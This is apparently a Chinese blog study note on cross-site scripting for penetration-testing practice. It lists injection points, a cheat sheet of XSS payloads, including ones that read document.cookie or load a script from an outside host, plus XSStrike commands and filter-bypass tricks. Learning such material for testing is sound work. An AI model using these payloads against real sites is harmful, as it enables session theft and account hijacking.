渗透测试学习15:XSS

简述

  • 反射型xss
  • 存储型xss
  • DOM型xss
    DOM是一个不用经过后端就可以访问或修改程序和脚本的接口。
    DOM型xss可以通过url传入控制参数。

手工测试

出现xss漏洞的场景:

  • url
    例子:xxx.com/xx.php?id=1这种,id=??这就是一个输入点
  • 搜索框
    可以查看源码,看看有没有过滤,可不可以绕过。
  • 上传图片
    <img src="#{image}"/>
    payload:1" onerror="alert(1)
    结果:<img src="1" onerror="alert(1)"/>
    注:结果为上传图片"1",onerror:出错则执行后面的语句。
    payload:javascript:alert(1)"
    结果:<img src="javascript:alert(1)"/>
    注:javascript伪协议。
  • 注册
    <input value="#{text}"/>
    payload:1" onclick="alert(1)
    结果:<input value="1"onclick="alert(1)"/>
    注:onclick 事件会在对象被点击时发生。
  • 富文本

常用载荷

> 都可以用 // 代替, 例如 <script>alert(1)</script//
script标签:script标签是最直接的XSS有效载荷,脚本标记可以引用外部的JavaScript代码,也可以将代码插入脚本标记中

<script>alert("hack")</script>   #弹出hack
<script>alert(/hack/)</script>   #弹出hack
<script>alert(1)</script>        #弹出1,对于数字可以不用引号
<script>alert(document.cookie)</script>      #弹出cookie
<script src=http://xxx.com/xss.js></script>  #引用外部的xss

svg标签
<svg onload=alert(1)>
<svg onload=alert(1)//

img标签:

<img src=1 onerror=alert("hack")>
<img src=1 onerror=alert(document.cookie)> #弹出cookie

body标签:
<body onload=alert(1)><body onpageshow=alert(1)>

video标签:
<video οnlοadstart=alert(1) src="/media/hack-the-planet.mp4" />

style标签:
<style οnlοad=alert(1)></style>

工具测试

xsstrike:
GET方法:python3 xsstrike.py -u "http://example.com/search.php?q=query"
POST方法:python3 xsstrike.py -u "http://example.com/search.php" --data "q=query"
其他用法见https://github.com/s0md3v/XSStrike/wiki/Usage

绕过姿势

  • 可以尝试换一种标签的载荷
  • 双写,大小写
  • 关闭标签
    例子:“><script>alert(“Hi”);</script>
  • 绕过magic_quotes_gpc
    magic_quotes_gpc=ON是php中的安全设置,开启后会把一些特殊字符进行轮换,比如’(单引号)转换为\’,”(双引号)转换为\”,\转换为\
    可以通过javascript中的String.fromCharCode方法来绕过,我们可以把alert(“XSS”);转换为
    String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34,41)
  • 编码
    常用编码:url编码、HTML实体编码、JavaScript编码
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值